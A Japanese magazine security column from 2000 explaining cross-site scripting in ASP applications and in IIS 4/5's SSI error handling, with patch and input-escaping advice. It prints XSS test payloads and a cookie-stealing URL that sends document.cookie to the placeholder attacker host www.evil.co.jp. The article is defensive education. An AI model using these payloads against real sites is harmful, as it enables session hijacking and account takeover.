IISクロスサイト・スクリプティング問題


Windows 2000 World 2000年11月号
月刊セキュリティレポート No.10


本文書は、Windows 2000 World誌に寄稿した記事の原稿を、IDGジャパン編集部殿の許可を得た上で掲載したものです。



今回は、IIS4および5における「クロスサイト・スクリプティング問題」を解説する。クロスサイト・スクリプティング問題は、直接Webサーバに対して攻撃を行なうことができるような脆弱性ではない。その問題を持ったWebサーバ（あるいはWebアプリケーション）を間接的に利用してWebクライアントマシンを攻撃するタイプの脆弱性である。



クロスサイト・スクリプティングとは


そもそもクロスサイト・スクリプティング（Cross-Site Scripting）問題とは、今年の二月にCERT/CCがセキュリティ勧告[1]を出して広く注意を喚起した、Webサーバ全般に関連する脆弱性である（図1）。基本的には特定のWebサーバソフトウェアに依存したものではなく、Webアプリケーション（CGI、ASP等）のコーディングの不具合に起因して発生する。


図1 クロスサイト・スクリプティング問題を報告するCERT/CCのWebページ。


仮に次のようなASPのWebページ（greeting.asp）がWebサーバ上（例：www.foo.co.jp）にあったとしよう（リスト1）。


リスト1 クロスサイト・スクリプティングASPサンプルコード（greeting.asp）。入力した文字列をそのままHTML文に挿入してWebクライアントに返信するため、クロスサイト・スクリプティングの脆弱性がある。


これは入力フィールドに文字列を入力して「送信」ボタンをクリックすると、入力した文字列をそのままブラウザ上に表示する単純なWebアプリケーションである。例えばこのWebページの入力フィールドに「Hanako」と入力して送信すると、「Hanako さん、こんにちは！」と表示される（図2）。


図2 greeting.aspの通常の動作。入力フィールドに「Hanako」と入力すると「Hanako さん、こんにちは！」と表示される。


ここで入力フィールドに、 
        <script>alert("Hi!");</script>
と入力してみる。するとWebブラウザ上では入力した文字列が表示される代わりに、ダイアログ上に「Hi!」と表示される（図3）。これは、入力した<script>および</script>がWebブラウザ側でHTMLタグとして認識されてしまうためである。もちろんこの場合、Webブラウザのセキュリティゾーン設定で当該Webサーバ（www.foo.co.jp）に対して「アクティブスクリプトが有効」になっている必要がある。すなわちこのWebサーバを「信頼」していることが前提となる（イントラネットゾーンや信頼済みサイトゾーン等）。


図3 入力フィールドにスクリプトを入力した場合。alert("Hi!")によってダイアログが表示される。


このようなWebアプリケーション、すなわち、ユーザが入力した文字列をそのままHTMLの表示テキストとしてWebブラウザに返すようなアプリケーションは、クロスサイト・スクリプティングの脆弱性を持っていると言える。注意深く構築されたWebアプリケーションなら、"<"等の文字を適切にエスケープ処理することによりWebクライアント側でHTMLタグとして認識されることはない。いわばアプリケーションの不具合（バグ）である。

悪意を持った第三者（攻撃者）は、Webクライアントに以下のようなURLで当該Webサーバ（www.foo.co.jp）をアクセスさせることにより、任意のアクティブスクリプトやその他のHTML文をwww.foo.co.jpからの返答に「挿入」することが可能となる。 
        http://www.foo.co.jp/greeting.asp?word=<script>alert("Hi!");</script>
WebクライアントにこのURLをアクセスさせるためには、攻撃者は自分のWebサイト（例：www.evil.co.jp）に対してWebクライアントにアクセスさせ、リンクをクリックさせるか自動的にこのURLへリダイレクトすればよい（図4）。あるいはこのリンクを含んだHTMLメールを送信し、言葉巧みにそれをクリックさせるように仕向ける方法も考えられる。


図4 クロスサイト・スクリプティング攻撃の例。クライアントマシンが不正Webサーバにアクセスした際、iframeタグによって自動的に信頼Webサーバへアクセスに行き、挿入されたスクリプトが実行される。


クロスサイト・スクリプティング攻撃の本質は、WebクライアントとWebサーバ（この場合www.foo.co.jp）との間の信頼関係を利用し、Webサーバからの返答に不正なスクリプトを挿入することでWebクライアント上でそのスクリプトを実行させることにある。



クロスサイト・スクリプティング攻撃における脅威


クロスサイト・スクリプティング攻撃により、攻撃者がWebクライアントに対してどのような影響を与えることができるかは、WebクライアントがWebサーバをどれだけ信頼しているか、また、そのWebサーバで稼動するWebアプリケーションに依存する。

WebクライアントがWebサーバをまったく信頼していない、すなわちwww.foo.co.jpとwww.evil.co.jpとが同じセキュリティゾーンであった場合、www.evil.co.jpの所有者である攻撃者にとってwww.foo.co.jpを利用したクロスサイト・スクリプティング攻撃のメリットはない。www.foo.co.jpがより高い信頼のゾーンに含まれる場合、任意のアクティブスクリプトの実行等、Webクライアントがwww.foo.co.jpに許可しているレベルの行為が可能となる。

任意のアクティブスクリプトの実行がInternet Explorer（IE）に対してどれだけセキュリティ上の影響を与えるかは、過去に指摘された数々のIEのセキュリティ問題を考えれば容易にご理解いだだけると思う。基本的には信頼できるWebサイト以外は、アクティブスクリプトは「無効」に設定すべきである。ところが信頼しているWebサイトにクロスサイト・スクリプティングの脆弱性があった場合、信頼していないサイトからの不正なスクリプトが強制的に挿入され、それを実行してしまうのだ。

信頼しているWebサーバとのセッションに不正なスクリプトを挿入することにより、攻撃者はそのWebサーバとWebクライアントとの間で送受信されるクッキー（Cookie）の情報を奪う、あるいは書き換えることもできる。

以下はその例である。 
        http://www.foo.co.jp/greeting.asp?word="<script>location.href
                   ='http://www.evil.co.jp/'%2Bdocument.cookie;</script>"
WebクライアントがこのURLをアクセスすることにより、www.foo.co.jpとの間で交換されるクッキーがwww.evil.co.jpへ送信される。もしクッキーがそのサイトに対する認証情報やセッション情報を保持していた場合、攻撃者はWebクライアントに成りすましてwww.foo.co.jpにアクセスすることができるようになるかも知れない。

実際にクロスサイト・スクリプティング攻撃を利用してクッキーを取得することにより、Webサイトに不正にアクセスできてしまうような問題を抱えているWebアプリケーションの存在が、Bugtraqメーリングリストで指摘されている[2]。

またWebアプリケーションが、クッキーに書かれている文字列をそのままHTML文に入れてWebクライアントに返すように作られている場合、不正なスクリプトをクッキーの中に書き込むことにより、クッキーを利用した永続的なクロスサイト・スクリプティング攻撃が可能となる。

このように、クロスサイト・スクリプティング攻撃の脅威はWebアプリケーションがどのように機能するか、またどのようにコーディングされているかによって大きく変化する。詳細は前述のCERT/CCセキュリティ勧告文書を参照いただきたい。



IIS自体にも存在する脆弱性


さて、ここまではCGIやASPなどのWebアプリケーションの不具合に起因するクロスサイト・スクリプティングの脆弱性を述べてきたが、最近、IIS自体にも同様の問題があることがGeorgi Guninski氏によって指摘された[3]。一つはSSI（Server Side Include）のエラー処理時、二つ目はFrontPage Server Extensionsのエラー処理時に発生する。

標準状態のIIS4.0またはIIS5.0が稼動しているwww.foo.co.jpサイトに対して、 
        http://www.foo.co.jp/<script>alert("Hi!");</script>.shtml
のようにアクセスしてみる。すると、前述したWebアプリケーションの例の場合と同様、ダイアログ上に「Hi!」と表示される（図5）。SSIを処理するDLLはURLに指定された「<script>alert("Hi!");</script>.shtml」というファイルを探すが見つからない（当然であるが）。そのため「SSI ファイル '/<script>alert("Hi!");</script>.shtml' の処理中にエラーが発生しました」というエラーメッセージをWebブラウザに返す。Webブラウザ側ではエラーメッセージ中の<script>をHTMLタグとして解釈する。それにより、記述されたアクティブスクリプトがWebブラウザ上で実行されるというわけだ。同様の問題は.idc拡張子でも発生する。


図5 IISのSSI（ssinc.dll）に存在するクロスサイト・スクリプティング脆弱性の例。


マイクロソフトはこのIISの問題に対し、セキュリティ情報（英語版[4]、日本語版[5]）および修正モジュールを提供している。ただし日本語版の修正モジュール提供状況については、本原稿執筆時点では上記セキュリティ情報で明確に記されていない。

FrontPage Server Extensionsのエラー処理時に発生するクロスサイト・スクリプティング問題については、このIISの修正モジュールではフィックスされない。Guninski氏によると、FrontPage Server Extensions Service Release 1.2をインストールすることで修正されるとのことである。



クロスサイト・スクリプティング問題を回避するためには


IIS自体におけるクロスサイト・スクリプティングの脆弱性は、IISを利用してEコマースを提供しているようなサイトにとって非常に重大な問題になる。なぜなら、このような脆弱性を持つWebサーバはEコマースユーザにとって信頼できなくなるからだ。該当するWebサイトの管理者は早期に修正モジュールを適用する必要がある。

またWebサイト管理者は、Webサーバ上で動かしているWebアプリケーションがこの脆弱性を持っているかどうかを調査し、必要に応じて対策を施すことをお勧めする。ポイントはアプリケーションがWebクライアントから渡ってくる情報を、動的にHTML文を生成する際に使用しているかどうかである。もし何の文字列処理も行なわずにそのままHTML文に入れているような場合は脆弱性を持っている可能性が高い。ASPで構築されたアプリケーションの場合は、HTML文生成時に該当文字列をescape()関数で処理するのも一つの対策方法と考えられるが、アプリケーションや言語環境に依存する部分もあるので注意が必要であろう。マイクロソフトはこのクロスサイト・スクリプティング問題について詳細な技術情報を提供している[6]ので、ぜひ参考にされたい。 


[1]  CA-2000-02: Malicious HTML Tags Embedded in Client Web Requests
     http://www.cert.org/advisories/CA-2000-02.html

[2]  Accounts easily compromised on Critical Path web mail service 
     http://www.securityfocus.com/archive/1/77550

[3]  IIS 5.0 cross site scripting vulnerability 
     http://www.nat.bg/~joro/iis50shtml.html

[4]  MS00-060: Patch Available for "IIS Cross-Site Scripting" 
     Vulnerabilities 
     http://www.microsoft.com/technet/security/bulletin/MS00-060.asp

[5]  「IIS クロスサイト スクリプティング」に対する脆弱性を解決する
     修正プログラム
     http://www.microsoft.com/japan/security/prekb.asp?sec_cd=MS00-060

[6]  Information on Cross-Site Scripting Security Vulnerability
     http://www.microsoft.com/technet/security/crssite.asp

2000年8月執筆
塩月 誠人
インターナショナル・ネットワーク・セキュリティ株式会社